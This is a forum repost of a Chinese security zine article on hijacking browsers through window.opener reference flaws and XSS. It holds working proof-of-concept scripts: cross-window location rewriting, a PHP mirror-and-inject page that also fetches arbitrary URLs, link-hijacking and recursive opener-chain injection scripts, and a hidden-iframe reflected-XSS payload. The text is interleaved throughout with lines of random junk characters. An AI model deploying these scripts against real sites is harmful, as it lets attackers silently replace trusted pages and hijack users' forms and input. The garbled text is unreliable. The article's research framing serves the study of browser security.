中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
R5 K9 R# E. U3 P9 `) Z
! E, X/ O/ u2 b& a2 h3 V
Issue 0x03, Phile #0x05 of 0x07
0 k+ Q& i2 H" q. T
) z/ F* u( s$ \1 S* v; u; `! g
3 \$ ~4 c( r4 Y+ T4 R! |0 |% J8 n
|=---------------------------------------------------------------------------=|
; M8 {3 K% ^4 w4 d3 q
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
+ H4 y3 R8 q( r8 r. H
|=---------------------------------------------------------------------------=|
9 y. {* Z5 S* ?& X& |/ f( [8 U0 {% m
|=---------------------------------------------------------------------------=|
% p+ T2 c+ c4 C2 F
|=------------------------=[ By rayh4c ]=---------------------------=|
) R5 M3 ]) b) c
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
1 k+ b1 Q P& T1 [, w+ G) R/ \
|=---------------------------------------------------------------------------=|
* E, U o9 `. W6 S
2 `. {+ ^' t" G# [' v
: W" t4 y6 |0 f* [
[目录]
& @7 U2 ]% b) A0 T# E5 c) M
% S) F( ^4 U0 M3 H
1. 前言
4 z0 q4 x E; S
2. 同源策略简叙
3 c$ \$ n0 z+ A1 u; u
3. 理解window对象的同源策略
5 n" N8 u; \. Y5 o) D n. `! D
4. 窗口引用功能中的同源策略漏洞
, O" Z' y5 f( H2 S* V3 e; y$ d9 H
4.1 父窗口引用子窗口的同源策略问题
; K: H: p/ c4 F. o: O
4.2 子窗口引用父窗口的同源策略问题
9 }: N' Z) t! l9 ^$ Y6 c0 p9 H# _2 B) o
5. 利用窗口引用漏洞劫持浏览器
9 v' [3 ]2 A5 t
6. 利用XSS漏洞劫持浏览器
s5 x2 Z( p2 s8 O9 _$ z
6.1 正向跨窗口劫持
4 m# R" K* h5 ^% ^! E- m: Z
6.2 反向跨窗口劫持
8 G+ J& F5 l) Q( {5 e2 h
6.3 极度危险的跨框架窗口引用劫持
4 M2 v6 _8 p. B6 D) i
6.4 极度危险的正反向跨窗口递归劫持
% l" e) ^- q* M: r% {
6.5 完全控制浏览器
`; @* W1 Z1 I9 h
7. 后记
! `% g: X k& [6 l
8. 参考
& X* v! z4 \" B+ E+ l; o* X
2 M J$ T5 `, X# l, X& f8 D
- f5 A! f1 H5 M' O
一、前言
; K9 z0 A4 T) J1 e$ \, I
3 T* b3 g0 o0 V9 ~7 O
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
5 q- ?5 a1 R, d' z8 M
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
. ~+ l3 f& i0 a/ T1 N9 `0 g; y0 s- z
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
8 m% F) B9 W% p9 r) B
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
5 i @1 H$ ?& J
* w) M7 Q/ [% \5 d. Y+ f0 m3 W$ A1 n
, L4 a6 ]8 E9 ?7 f) S) z
二、同源策略简叙
5 U- f4 x/ \% A _: R+ x
0 I, ]+ i" P% y. E4 |8 ~
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
4 W" b# Z- [! ~# a' @0 A
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
; I2 P/ c( D; S
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
/ ?3 q" H4 _6 l# X. `
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
0 E+ q6 _+ h6 c, f$ }7 D
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
* ~% T9 Q) T* J. v0 n- \. t, ^& H
]: A7 f3 e% e9 h3 P4 i
) F+ H6 X- h1 ]& @0 n
三、理解window对象的同源策略
* F' d/ z4 q( K* G
) i% t* ]- L( Q1 K2 e' t* R5 j
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
+ Z# f; [. q, h
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
* M1 T2 _( q* P# t9 H: }
1 q1 _5 V/ U5 M) W5 S% F9 u0 C v4 p
--code-------------------------------------------------------------------------
7 X2 \& u5 o1 x' J3 W
<script language="javascript">
3 U) f$ [0 b ~9 \1 ~
for(p in window) document.write(p+"<br>");
9 U" N3 {( g* l' W( j. I
</script>
6 p1 N5 I; `6 v7 ?7 B8 t
-------------------------------------------------------------------------------
$ h3 \4 D' N) q% _2 H) B5 Z
' }6 S1 b# r: I9 _- D" f: u
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
# B' d3 k: s6 Y" b0 p
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
9 u4 Q, D5 ~, K: s+ L8 ~" K
这些属性和方法就必须遵循同源策略。
* e ~" P7 j% d, k/ G5 w+ _
( O4 L) t' g5 r6 _2 _9 K: W( l, m4 O
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" _; q# x, i/ N* t
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
, L& r7 Z- k7 v7 k
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
$ w" ?# B6 A5 a5 @% l5 n n
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
$ O6 Q7 {& P9 i- k! a* Y9 P" |
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
9 ^) Q Y: [; T% ^/ Z6 c
属性并没有被拒绝访问。
- B9 L; U9 i1 |7 U. a& B
% F6 f4 r# M' C$ ~6 H5 W
--demo.html--------------------------------------------------------------------
1 B# x* v& C0 q( Y& ~
<script language="javascript">
, M% w0 Z3 n, p
function allPrpos(obj) {
$ e5 |8 i) i# }" r) ?: b5 v
var props = "<table><tr><td>名称</td><td>值</td>";
6 b/ n1 p! m( X( I& {
for(var p in obj){
! V$ i) \$ p$ A' f% g
if(typeof(obj[p])=="function"){
, \7 I0 F: {+ S3 v& y
obj[p]();
8 M( m; ]& l% Q$ D- A5 }+ U
}else{
, N/ E5 e3 \# }; |# N
try
+ a2 z" H' N4 @ d* d1 X
{
3 q0 y( L: K- E$ K+ E4 B
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
$ j' `. n) u' G
}
2 M- X9 ~" P: Z/ ~1 g3 ?; _
catch (ex)
% z* H \4 Z3 W7 F1 u. F. X
{
6 g9 }+ o4 F6 ~# a8 n5 {
. ?8 `* Q: x/ v. Y. i: t
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
+ C# K) L0 }" v. s+ e- F
}
$ |$ [ |! K: c J% F
4 A; V3 i. c5 ]
}
6 n( |- {* l7 L0 k4 @" r
}
8 f7 x/ b# M: ^ z9 v- w
% I6 A0 w8 `5 Z3 V% d, h
document.write(props+"</table>");
$ Z+ D- X5 e: K0 X/ k) ~# M
}
9 E& I! t. w5 S7 M
' w) a# p7 ?5 u! L& a1 m
function createWin() {
( k5 ? t/ O; x/ x; g
newWin = window.open ("http://www.google.com");
+ {! D& Q0 Z6 o3 z) U0 i0 c
setTimeout(function(){allPrpos(newWin)},2000);
$ ?# Q8 R. T) A3 e( d
}
, t$ u, B$ F, x$ B) v
! r4 c8 @7 s3 Z/ ] V# C3 i
</script>
; G3 N9 b1 b7 X% h1 I! q' g) P! I
& t; _# Y; c# M, o
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 s) n4 K4 n# p5 b9 j
-------------------------------------------------------------------------------
+ S; K' f/ Q$ @# l7 i$ @
5 @5 X1 Q3 J: b5 x' q9 ?- t
$ }4 t$ U8 o) Z
四、窗口引用功能中的同源策略漏洞
$ v* i) u: k9 D1 _7 C3 T% d7 I
) _$ k7 F+ ]- z4 I- p- e
4.1 父窗口引用子窗口的同源策略问题
$ n+ }, _- j. A& J# o
/ z) U" T; T7 I4 A! y$ @5 x
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
$ O' e/ U5 T, S: D# w) R1 L
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
% U& m" `& e7 x7 k
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
/ c S3 J$ N: {6 E5 t9 q
行测试,会发现父窗口可以控制非同源子窗口location属性值。
$ ~ N' z+ o u% K% B: m
% C5 @. d( ~) \0 z# h+ F
--vul1.html--------------------------------------------------------------------
3 ]7 s$ I T% i3 e
<script language="javascript">
3 V- Q2 q9 \1 ?3 ?) m P
function createWin() {
: h0 x2 ? w9 A, t1 m% P( F
newWin = window.open ("http://www.google.com");
: q! x, C& ?3 z2 j5 F
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
]% x' ~2 b$ f
}
' K: Q. `! o! n3 g- ^2 R* p' n$ J& y a
</script>
9 I0 e! x1 @9 w
6 k* H, C6 t x/ t$ V" t. G: i
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ R7 z) f: [1 o9 z$ x: E
-------------------------------------------------------------------------------
8 J( k4 Z, j" O" _
$ Y$ p) i, d' _3 \2 T- u
. a g9 a5 c: L" F0 u3 i: K* f
4.2 子窗口引用父窗口的同源策略问题
}4 p! o% [" v( V& x
2 ~/ S+ g, D$ b7 {
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
6 D3 i2 O4 b b- G! w) |2 {
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
& g% _+ u& Y( Q; b
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
/ H4 ?) W) h8 R; Z8 S& [8 V! k$ D
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
$ T. b# t8 W; T8 n# a7 W4 S9 Z
1 g8 K4 |" ?# Z
--code-------------------------------------------------------------------------
- G4 p3 u4 G* ?( w3 t
) ]' f$ c a% v4 S) x" @3 Q0 o
javascript:window.opener.location = "http://www.80sec.com";void(0);
0 y; I2 F1 Q' g. `
. C2 I1 w- ^3 g, X6 ~4 \
-------------------------------------------------------------------------------
4 r6 }: s! G4 |% {
6 [9 O0 |( _; s2 p; @& x" v! W9 Y
6 \0 l5 j4 b0 u" A: ?! C
五、利用窗口引用漏洞劫持浏览器
/ @- B4 d2 _; e* D
& }0 S% \1 m) `/ O% r/ A
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
: O2 e) Y7 l o% N7 O+ S
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
# O8 ]/ V0 e, p9 B
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
( G; b: o9 u7 Q% G+ K
6 l6 y5 A/ d. ^, l* K# t
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
5 E7 Y8 `$ q# {+ y, P
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
" H! l* ?+ a/ Q% @6 E3 d
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
) ~1 |0 |6 D9 s7 k' `
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
2 ]) a$ s# n; E! p
会产生什么可怕的后果。
( K5 [! m" X. w9 ?& g6 K
3 w! v! d n' U9 j+ {
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
C# H5 @- n6 S
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
9 t! r' q$ U* h6 @
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
) e5 m. t. z7 F$ Z" K7 P; q6 P9 N
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. j7 c- _; b+ ~" ~
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
% V4 |7 f6 y% w4 M6 s
" e3 y- U. L# z% D, V5 ^0 x) G3 t& O
--hjk_ref.php------------------------------------------------------------------
3 H3 o+ ~" t' m2 b
<?php
0 `( \: M4 j- u. N! g. Q
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
e B& c3 [& O
$Url_Mirror = $_SERVER["HTTP_REFERER"];
6 o3 h" A z" d% Z+ U- j8 D
}
j: g; b' q: e; I) u/ M
if(isset ($_GET['ref'])) {
6 k1 z# d) b) Q- i' k- Y: J7 l
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
( j4 C) g& t+ }: L, f$ H1 O6 W- ?
}
0 |7 a ^' {9 _ `5 ]3 X( O
?>
7 s. @% c$ w* d* v/ z; ]7 W
4 E* v4 d+ m/ f1 C3 ^7 m
<script language="javascript">
, I, ]7 t. k$ p; k& T, W* I
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
9 G" x$ t+ S0 [/ d5 P
</script>
2 m5 N. f2 B! B8 J9 T- p: @
-------------------------------------------------------------------------------
- h3 b0 C- R4 L. O6 l
2 W" J" v; \# ^# w d
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
+ x7 R: Y, Y7 S7 t) ?1 T w
$ U9 c+ m" M( b9 {1 m* R0 X/ A
) m, Y: P9 q" @3 a0 Y
六、利用XSS漏洞劫持浏览器
8 X6 e) ~( [8 S7 E' b" I
3 a/ j8 b5 I0 {* B
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
3 w8 `7 @9 O4 P6 N
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
* z9 O. d6 ?8 A. [7 T
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
8 q2 A# i# W6 f+ m s {
讨论跨站师的终极技巧:
0 u- p7 k& q5 k" V7 ^* c7 I X+ }, T
3 k$ ^6 F% Q( O$ I
0 K; W3 x! t2 z( w# {: ]
6.1 正向跨窗口劫持
$ E! K0 D X* J' t
- e6 t. F' |2 ^ t* ^
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
7 }7 }- ^2 {) ^2 l4 Q% e! [1 `
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
7 |& n2 _& c: E7 u2 e; X1 l8 a, @
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
# i9 i# ]( B8 R6 h$ _- A9 j
框脚本。
4 Q- ]2 }' L0 _9 L8 G( b2 ^7 h+ `
# p. z6 ^, o- S
--hijack_open.js---------------------------------------------------------------
' a3 p- r& g6 B, ~+ L
: Q% M' ~ e1 @* U8 ?
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
- ]! _: D. Z$ g
; \6 M: F: ]' H, B. e
-------------------------------------------------------------------------------
1 s" J9 l( r8 g: r0 J- a" I
3 }! I9 Q$ h' A6 G" n
: P- R; `, J! R1 \
6.2 反向跨窗口劫持
5 s8 {# w% @+ S0 ~8 _
I& l% T& @4 J+ M9 t7 Q/ Q
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
! R% O6 x$ v! p
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
& H5 ?, d0 R& T) e+ n* I# }
框脚本。
! ]& ]* \' C! c2 o0 m5 V
: f5 S3 W7 ?, a( q; U; |
--hijack_opener.js-------------------------------------------------------------
: k+ Q R' B; b5 p; M/ k( H
L9 ^8 P8 }0 i
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
: y# n* r; p) g2 {. H
. u/ h* k5 D; ^$ ]/ V
-------------------------------------------------------------------------------
. x* [5 z& c9 a1 T. f0 ~$ V6 q5 N
; d0 r: H) d- g3 C! K8 t
6 v- a9 m; E3 q/ w) q$ p* B7 h
6.3 极度危险的跨框架窗口引用劫持
$ k& q, W, y* f& c
7 D3 O; y7 X# R# u
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
4 S) f$ ]8 a# C6 b. g& J
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
4 X. ^, C. |; j0 W+ v2 D6 k
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
, p h& ^; c( R) C
非持久型的XSS,如下:
7 E7 z" N8 Y* k/ o1 V
6 i8 T2 Q, S: m- Y/ Q5 i$ F' s- p
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
; M+ U4 A% A) p8 n! V' ~- Z
A' o+ C' V9 @* K5 x: R' _. H
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
! E5 Z/ y( O; A+ e7 O6 U1 R* h4 X8 j
注入脚本。
* o- z- a; _/ _" x2 D. h3 s
* V, C% J* \8 K. N1 Q6 w7 C2 S3 B- L
--hijack_frame_opener.js-------------------------------------------------------
5 n! L! }' N+ i& l# v/ V5 @
<script>
- \/ `- I4 O/ l* B3 W! m
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
$ j9 ^/ M8 @3 M! ~" I( N* z
</script>
- c. O r4 }* W$ m& I2 ~8 h. x
-------------------------------------------------------------------------------
! C( H) `$ P' Y. T" W
8 G- V1 u7 L: z
) Q1 j+ v% A; N. Q4 B# Y( k7 C- {
6.4 极度危险的正反向跨窗口递归劫持
3 i5 m+ r0 c# V( K8 d
4 |2 G/ {: ^5 K& P8 j) H R
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
% |* H) ^( X' a
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
3 D' T! E. b4 e! i& _$ b
异常处理规避之间跨域页面的访问异常,代码如下:
. |6 f) q" x) \8 X0 j0 z0 T
2 } O4 K3 @; a8 N- w/ K
--code-------------------------------------------------------------------------
! i9 c; @0 g, k! e5 |+ e6 I
" i) c0 y6 A0 F I
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
6 K& x8 _0 I5 F' w0 U" T
$ O2 O& R0 x% `/ l
-------------------------------------------------------------------------------
5 O# }# h6 z3 z o! F c
/ B% c) z7 g+ T. S
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
) |7 `' b; P6 \. |2 @
以劫持B域之前的A域页面,从而实现“隔空打击”。
/ v7 @# R: d" Y; F6 ^
' T. ~* f' y$ y
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
; A4 J! _8 X# M6 t3 a# V
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
8 o5 F" U# O( ~/ {
; b$ x! i2 I/ C7 r$ a- @. e/ h
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
% `. X2 u) d: }. j3 w6 D6 ]
H+ f% x' \- {% |' F
7 D0 N" \8 L& n! v+ @
6.5 完全控制浏览器
% M6 r4 L0 z- @$ L- ^( Z, o7 f
" o$ Z, C, X5 W: j: H' I+ u
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
: j& m- ~ B. |* w
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
M: _4 V6 A3 o; S
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
& {. m3 i$ v, ]% [ J. s+ E
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
4 {: l. M: A9 p8 Z2 e) U5 M
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
: ?1 y$ ]0 e7 }% J1 B7 {" W
师的终极目标 - 完全控制浏览器。
# @& u" D/ K0 b1 |8 {5 C& B
. H- d# v, O" `3 N* V
' ^- r6 I: e" L
七、后记
& V. E9 c' O$ K2 r- H
2 S& L2 A6 b$ }0 [: ~ k" h5 d3 |
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
9 }" w: o0 f! Q1 Y; h: O, L' G L
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
, N- P' x6 J8 ]+ ^: e2 ?% H
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
+ C# k" Q" v. g/ B0 Q
: D4 T4 G7 e8 l. ~2 F
& \8 V2 \8 r# M/ c' C
八、参考
7 L; J0 u: |6 P. J5 Y* I
; E' r. E& m0 P( R3 Y7 J
1.
http://en.wikipedia.org/wiki/Same_origin_policy
1 x- G( m' R; J; ~
2.
http://code.google.com/p/browser ... licy_for_DOM_access
/ B4 H9 g2 O3 i% u6 r
3.
http://www.w3.org/TR/Window/
+ Y/ Y Y8 V( D2 {. S7 l" A) L
4.
http://www.80sec.com/release/browser-hijacking.txt
0 m/ p' h5 s& n: a1 b4 R
5.
http://www.80sec.com/all-browser-security-alert.html
& {9 d' e% i) W% ] M3 C6 R
6.
http://www.80sec.com/ms08-058-attacks-google.html
& W! ?: Z; f# j* Z; L; A
0 c1 B/ k2 \# r6 K7 ~. W
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2